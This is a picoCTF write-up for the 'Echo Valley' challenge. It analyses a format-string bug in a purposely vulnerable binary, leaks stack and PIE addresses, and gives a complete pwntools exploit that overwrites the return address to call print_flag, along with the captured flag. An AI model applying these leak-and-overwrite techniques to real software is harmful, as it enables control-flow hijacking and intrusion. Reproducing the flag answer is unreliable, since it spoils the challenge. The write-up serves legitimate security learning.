file
The challenge provides a 64-bit dynamically linked PIE ELF executable.
The binary was probably compiled with the gcc -g
option because the file command indicates debugging info with debug_info
.
For more information read this.
file valley
valley: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=389c2641f0d3caae81af5d21d9bb5bcf2de217f0, for GNU/Linux 3.2.0, with debug_info, not stripped
checksec
All the security protections are enabled…
checksec valley
[*] '/home/picoctf/pwn/echo_valley/valley'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
Debuginfo: Yes
Let’s look at the C code.
C code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void print_flag() {
char buf[32];
FILE *file = fopen("/home/valley/flag.txt", "r");
if (file == NULL) {
perror("Failed to open flag file");
exit(EXIT_FAILURE);
}
fgets(buf, sizeof(buf), file);
printf("Congrats! Here is your flag: %s", buf);
fclose(file);
exit(EXIT_SUCCESS);
}
void echo_valley() {
printf("Welcome to the Echo Valley, Try Shouting: \n");
char buf[100];
while(1)
{
fflush(stdout);
if (fgets(buf, sizeof(buf), stdin) == NULL) {
printf("\nEOF detected. Exiting...\n");
exit(0);
}
if (strcmp(buf, "exit\n") == 0) {
printf("The Valley Disappears\n");
break;
}
printf("You heard in the distance: ");
printf(buf);
fflush(stdout);
}
fflush(stdout);
}
int main()
{
echo_valley();
return 0;
}
The echo_valley function contains a format-string bug(fsb).
char buf[100];
printf(buf);
%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
0x7ffd54d4f470 (nil) (nil) 0x5647ef2b06fc 0x410 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0xa207025 (nil) (nil) (nil) 0xaa4c150184d3bc00 0x7ffd54d4f6a0 0x5647c47e9413 0x7ffd54d4f740 0x7f2ed220c1ca 0x7ffd54d4f6f0 0x7ffd54d4f7c8
The 21st format-string parameter leaks a memory address in the main function’s stack frame.
%21$p 0x5647c47e9413
gef➤ disass main
Dump of assembler code for function main:
0x0000000000001401 <+0>: endbr64
0x0000000000001405 <+4>: push rbp
0x0000000000001406 <+5>: mov rbp,rsp
0x0000000000001409 <+8>: mov eax,0x0
0x000000000000140e <+13>: call 0x1307 <echo_valley>
0x0000000000001413 <+18>: mov eax,0x0
You can inspect the process’s memory layout by running vmmap
on gef or info proc mappings
in gdb.
gef➤ vmmap
[ Legend: Code | Stack | Heap ]
Start End Offset Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /home/picoctf/pwn/echo_valley/valley
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /home/picoctf/pwn/echo_valley/valley
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /home/picoctf/pwn/echo_valley/valley
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /home/picoctf/pwn/echo_valley/valley
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /home/picoctf/pwn/echo_valley/valley
0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]
0x00007ffff7d9b000 0x00007ffff7d9e000 0x0000000000000000 rw-
0x00007ffff7d9e000 0x00007ffff7dc6000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7dc6000 0x00007ffff7f4e000 0x0000000000028000 r-x /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f4e000 0x00007ffff7f9d000 0x00000000001b0000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f9d000 0x00007ffff7fa1000 0x00000000001fe000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7fa1000 0x00007ffff7fa3000 0x0000000000202000 rw- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7fa3000 0x00007ffff7fb0000 0x0000000000000000 rw-
0x00007ffff7fbd000 0x00007ffff7fbf000 0x0000000000000000 rw-
0x00007ffff7fbf000 0x00007ffff7fc3000 0x0000000000000000 r-- [vvar]
0x00007ffff7fc3000 0x00007ffff7fc5000 0x0000000000000000 r-x [vdso]
0x00007ffff7fc5000 0x00007ffff7fc6000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7fc6000 0x00007ffff7ff1000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ff1000 0x00007ffff7ffb000 0x000000000002c000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ffb000 0x00007ffff7ffd000 0x0000000000036000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000038000 rw- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffffffdd000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
The binary base usually starts at 0x0000555555554000
.
Start End Offset Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /home/picoctf/pwn/echo_valley/valley
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /home/picoctf/pwn/echo_valley/valley
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /home/picoctf/pwn/echo_valley/valley
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /home/picoctf/pwn/echo_valley/valley
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /home/picoctf/pwn/echo_valley/valley
0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]
The libc, and ld(dynamic linker) starts at memory address 0x7ffff
…
0x00007ffff7d9b000 0x00007ffff7d9e000 0x0000000000000000 rw-
0x00007ffff7d9e000 0x00007ffff7dc6000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7dc6000 0x00007ffff7f4e000 0x0000000000028000 r-x /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f4e000 0x00007ffff7f9d000 0x00000000001b0000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f9d000 0x00007ffff7fa1000 0x00000000001fe000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7fa1000 0x00007ffff7fa3000 0x0000000000202000 rw- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7fa3000 0x00007ffff7fb0000 0x0000000000000000 rw-
0x00007ffff7fbd000 0x00007ffff7fbf000 0x0000000000000000 rw-
0x00007ffff7fbf000 0x00007ffff7fc3000 0x0000000000000000 r-- [vvar]
0x00007ffff7fc3000 0x00007ffff7fc5000 0x0000000000000000 r-x [vdso]
0x00007ffff7fc5000 0x00007ffff7fc6000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7fc6000 0x00007ffff7ff1000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ff1000 0x00007ffff7ffb000 0x000000000002c000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ffb000 0x00007ffff7ffd000 0x0000000000036000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000038000 rw- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffffffdd000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
You can use the telescope command in gef.
gef➤ telescope 0x0000555555555413
0x0000555555555413│+0x0000: <main+0012> mov eax, 0x0
0x000055555555541b│+0x0008: add bl, dh
0x0000555555555423│+0x0010: <_fini+0007> or BYTE PTR [rax-0x7d], cl
0x000055555555542b│+0x0018: add BYTE PTR [rax], al
0x0000555555555433│+0x0020: add BYTE PTR [rax], al
0x000055555555543b│+0x0028: add BYTE PTR [rax], al
0x0000555555555443│+0x0030: add BYTE PTR [rax], al
0x000055555555544b│+0x0038: add BYTE PTR [rax], al
0x0000555555555453│+0x0040: add BYTE PTR [rax], al
0x000055555555545b│+0x0048: add BYTE PTR [rax], al
$rip : 0x0000555555555413 → <main+0012> mov eax, 0x0
As you can see, the saved return address is located 8
bytes before the leaked stack address.
gef➤ telescope 0x7fffffffd810-8
0x00007fffffffd808│+0x0000: 0x0000555555555413 → <main+0012> mov eax, 0x0
0x00007fffffffd810│+0x0008: 0x00007fffffffd8b0 → 0x00007fffffffd910 → 0x0000000000000000
0x00007fffffffd818│+0x0010: 0x00007ffff7dc81ca → <__libc_start_call_main+007a> mov edi, eax
0x00007fffffffd820│+0x0018: 0x00007fffffffd860 → 0x0000555555557d78 → 0x0000555555555220 → <__do_global_dtors_aux+0000> endbr64
0x00007fffffffd828│+0x0020: 0x00007fffffffd938 → 0x00007fffffffdc18 → "/home/hwkim301/picoctf/pwn/echo_valley/valley"
0x00007fffffffd830│+0x0028: 0x0000000155554040
0x00007fffffffd838│+0x0030: 0x0000555555555401 → <main+0000> endbr64
0x00007fffffffd840│+0x0038: 0x00007fffffffd938 → 0x00007fffffffdc18 → "/home/hwkim301/picoctf/pwn/echo_valley/valley"
0x00007fffffffd848│+0x0040: 0xe17863e78e41249d
0x00007fffffffd850│+0x0048: 0x0000000000000001
The 6th
format string parameter corresponds to the input AAAA
which is 0x2070252041414141
.
./valley
Welcome to the Echo Valley, Try Shouting:
AAAA %p %p %p %p %p %p
You heard in the distance: AAAA 0x7ffe6f3b3db0 (nil) (nil) 0x5651957bc6c7 0x410 0x2070252041414141
Therefore, we can probably use the 6th format string parameter to overwrite the return address of the echo_valley function with the address of print_flag.
We will then be able to call the print_flag function.
pwntools has a fmtstr_payload function that generates format strings for your exploits.
The goals is to craft a payload that uses the 6th format specifier to write the address of print_flag to the location of the saved return address.
You need to use write_size='short'
because the default format-string generated by fmtstr_payload
would be longer than the 100 byte buffer.
My payload looks like this.
The payload changes every time you run fmtstr_payload
.
I think it changes because ASLR changes the stack address every time you execute the binary.
payload = fmtstr_payload(6, {stack: print_flag}, write_size='short')
print(payload)
# b'%37481c%11$lln%8593c%12$hn%42169c%13$hna\xd8\x90\xae\xc8\xfc\x7f\x00\x00\xda\x90\xae\xc8\xfc\x7f\x00\x00\xdc\x90\xae\xc8\xfc\x7f\x00\x00'
print(len(b'%37481c%11$lln%8593c%12$hn%42169c%13$hna\xd8\x90\xae\xc8\xfc\x7f\x00\x00\xda\x90\xae\xc8\xfc\x7f\x00\x00\xdc\x90\xae\xc8\xfc\x7f\x00\x00')) #64
A final quirk in this challenge is that after sending the payload, the program remains in the while(1)
loop. You need to send exit
to break the loop which causes the function to return and trigger our overwritten return address.
while(1)
{
fflush(stdout);
if (fgets(buf, sizeof(buf), stdin) == NULL) {
printf("\nEOF detected. Exiting...\n");
exit(0);
}
if (strcmp(buf, "exit\n") == 0) {
printf("The Valley Disappears\n");
break;
}
printf("You heard in the distance: ");
printf(buf);
fflush(stdout);
}
I also used elf.address.
e.address
allows pwntools to automatically calculate the address of print_flag. Without it, we need to manually add the offset to the PIE base, which is a bit annoying.
e.address = pie_leak - 0x1413
Here’s the full exploit code.
Exploit Code
from pwn import *
context.arch = "amd64"
r = remote("shape-facility.picoctf.net", 55102)
e = ELF("./valley")
r.sendline(b"%20$p %21$p")
r.recvuntil(b"distance: ")
stack, pie_leak = r.recvline().split()
stack = int(stack, 16) - 8
pie_leak = int(pie_leak, 16)
e.address = pie_leak - 0x1413
print(f"pie_leak: {hex(pie_leak)}")
print(f"pie_base: {hex(e.address)}")
print_flag = e.symbols["print_flag"]
print(f"stack leak: {hex(stack)}")
print(f"print_flag: {hex(print_flag)}")
payload = fmtstr_payload(6, {stack: print_flag}, write_size="short")
r.sendline(payload)
r.sendline(b"exit")
r.interactive()
# picoctf{f1ckl3_f0rmat_f1asc0} fickle_format_fiasco
To be honest, I still don’t 100% understand why you need to leak an address from the stack and I personally think I didn’t or couldn’t explain a lot of stuff due to my incompetence.
For a more detailed understanding I suggest reading the references I linked below.
Reference Writeup
- Youtube writeup
This video helped me the most.
For more details
https://stackoverflow.com/questions/61561331/why-does-linux-favor-0x7f-mappings
https://unix.stackexchange.com/questions/774773/what-does-6-mean-in-glibc-so-6
Format strings are super hard lol…